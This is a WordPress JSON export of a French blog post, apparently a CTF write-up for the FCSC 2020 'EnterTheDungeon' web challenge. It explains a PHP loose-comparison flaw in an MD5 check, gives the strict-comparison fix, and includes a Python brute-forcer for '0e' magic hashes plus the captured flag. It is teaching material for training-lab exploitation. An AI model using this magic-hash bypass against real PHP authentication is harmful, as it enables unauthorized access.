{"id":199,"date":"2020-05-06T11:25:27","date_gmt":"2020-05-06T09:25:27","guid":{"rendered":"https:\/\/blog.caturday-lovers.fr.nf\/?p=199"},"modified":"2020-05-06T17:30:55","modified_gmt":"2020-05-06T15:30:55","slug":"les-chatons-ont-la-reponse-fcsc-2020-enterthedungeon","status":"publish","type":"post","link":"https:\/\/blog.caturday-lovers.fr.nf\/?p=199","title":{"rendered":"Les chatons ont la r\u00e9ponse \u2013 FCSC 2020 \/\/ EnterTheDungeon"},"content":{"rendered":"\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"497\" height=\"421\" src=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-04_17h28_47-1.png\" alt=\"\" class=\"wp-image-201\" srcset=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-04_17h28_47-1.png 497w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-04_17h28_47-1-300x254.png 300w\" sizes=\"auto, (max-width: 497px) 100vw, 497px\" \/><figcaption>petit dragon valide ce message !<\/figcaption><\/figure><\/div>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">Intro<\/h2>\n\n\n\n<p>Une page verte, un chateau en ASCII, une invitation a revenir en \u00e9tant le dungeon_master, et surtout un message qui nous pr\u00e9vient d&rsquo;une vuln\u00e9rabilit\u00e9 dans le formulaire ! On va s&rsquo;amuser mes chatons !<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Your Princess is in another castle !<\/h2>\n\n\n\n<p>On commence par regarder la source de la page, pour plusieurs raisons, la premi\u00e8re, le fond vert est <strong>VRAIMENT <\/strong>atroce, et la seconde nous allons avoir plus d&rsquo;informations dedans \u00e0 mon avis.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"523\" src=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-13-1024x523.png\" alt=\"\" class=\"wp-image-203\" srcset=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-13-1024x523.png 1024w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-13-300x153.png 300w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-13-768x392.png 768w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-13-1536x785.png 1536w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-13.png 1920w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption> la source de la page, c&rsquo;est mieux en blanc non ?<\/figcaption><\/figure><\/div>\n\n\n\n<p>Regardons un peu plus s\u00e9rieusement, si l&rsquo;on met le ch\u00e2teau de c\u00f4t\u00e9, je vois un commentaire qui est super int\u00e9ressant (n.b : <strong>NE JAMAIS LAISSER DE COMMENTAIRE COMME CELA SUR UN SITE!<\/strong>): <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"27\" src=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-06_10h59_11-1024x27.png\" alt=\"\" class=\"wp-image-204\" srcset=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-06_10h59_11-1024x27.png 1024w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-06_10h59_11-300x8.png 300w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-06_10h59_11-768x20.png 768w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-06_10h59_11.png 1211w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>merci pour les informations<\/figcaption><\/figure><\/div>\n\n\n\n<p>Nous savons d\u00e9sormais que nous avons deux autres documents sur la racine, check_secret.php et check_secret.txt.<br>Ma curiosit\u00e9 me pousse d&rsquo;abord \u00e0 ouvrir le texte pour voir si un mot de passe admin ou une autre page se cache dedans le temps de la r\u00e9paration de l&rsquo;authentification, mais j&rsquo;ai ENCORE MIEUX, j&rsquo;ai la m\u00e9thode d&rsquo;authentification !<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"562\" height=\"101\" src=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-06_11h05_57.png\" alt=\"\" class=\"wp-image-205\" srcset=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-06_11h05_57.png 562w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/2020-05-06_11h05_57-300x54.png 300w\" sizes=\"auto, (max-width: 562px) 100vw, 562px\" \/><figcaption>test impossible ? si cela \u00e9tait bien impl\u00e9ment\u00e9 en effet<\/figcaption><\/figure>\n\n\n\n<p>Nous allons mettre \u00e0 mal cette affirmation de test impossible, dans ce bloc, il y a un probl\u00e8me,  je vais vous montrer :<br><strong>if(md5($_GET[&lsquo;secret&rsquo;]) == $_GET[&lsquo;secret&rsquo;])<\/strong><br>devrait \u00eatre en fait :<br><strong>if(md5($_GET[&lsquo;secret&rsquo;]) === $_GET[&lsquo;secret&rsquo;])<\/strong><br><br>Vous avez vu la diff\u00e9rence ? Nous avons rajout\u00e9 un \u00ab\u00a0=\u00a0\u00bb, qui rend la comparaison <strong>STRICTEMENT <\/strong>\u00e9quivalente. Mais pourquoi cela est-il important ? Lors de la comp\u00e9tition, j&rsquo;ai appris que PHP interpr\u00e9terait notre code comme un nombre flottant, la notation scientifique d&rsquo;un nombre flottant c&rsquo;est 0e&#8230;., nous allons donc chercher une collision de Hash MD5. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Mais dis-moi Jamy, c&rsquo;est quoi une collision de Hash ?<\/h2>\n\n\n\n<p>Une tr\u00e8s bonne source sur la collision de Hash se <a rel=\"noreferrer noopener\" href=\"https:\/\/www.whitehatsec.com\/blog\/magic-hashes\/\" target=\"_blank\">trouve ici<\/a>, c&rsquo;est en anglais, mais cela explique tr\u00e8s bien ce que nous allons chercher.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploit.py<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python\nimport hashlib\nimport re\n\nprefix = '0e'\n\n\ndef breakit():\n    iters = 0\n    while 1:\n        s = prefix + str(iters)\n        hashed_s = hashlib.md5(s).hexdigest()\n        iters = iters + 1\n        r = re.match('^0e&#91;0-9]{30}', hashed_s)\n        if r:\n            print \"&#91;+] found! md5( {} ) ---> {}\".format(s, hashed_s)\n            print \"&#91;+] in {} iterations\".format(iters)\n            exit(0)\n\n        if iters % 1000000 == 0:\n            print \"&#91;+] current value: {}       {} iterations, continue...\".format(s, iters)\n\nbreakit()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Exploitation<\/h2>\n\n\n\n<p>Une fois le code remplissant la fonction trouv\u00e9, nous allons pouvoir l&rsquo;utiliser sur la page :<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"436\" height=\"302\" src=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-14.png\" alt=\"\" class=\"wp-image-206\" srcset=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-14.png 436w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-14-300x208.png 300w\" sizes=\"auto, (max-width: 436px) 100vw, 436px\" \/><\/figure><\/div>\n\n\n\n<p>Puis retourner sur la page d&rsquo;accueil et r\u00e9cup\u00e9rer le joli flag :<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"132\" src=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-15-1024x132.png\" alt=\"\" class=\"wp-image-207\" srcset=\"https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-15-1024x132.png 1024w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-15-300x39.png 300w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-15-768x99.png 768w, https:\/\/blog.caturday-lovers.fr.nf\/wp-content\/uploads\/2020\/05\/image-15.png 1089w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>ce fond vert \u2026<\/figcaption><\/figure><\/div>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}<\/strong><\/pre>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":13,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[60,63,123,61,125,124],"class_list":["post-199","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kitensgotanswer","tag-ctf","tag-ecsc","tag-enter-the-dungeon","tag-fcsc","tag-hash-collision","tag-md5"],"_links":{"self":[{"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/posts\/199","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=199"}],"version-history":[{"count":4,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/posts\/199\/revisions"}],"predecessor-version":[{"id":245,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/posts\/199\/revisions\/245"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/media\/13"}],"wp:attachment":[{"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=199"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=199"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=199"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}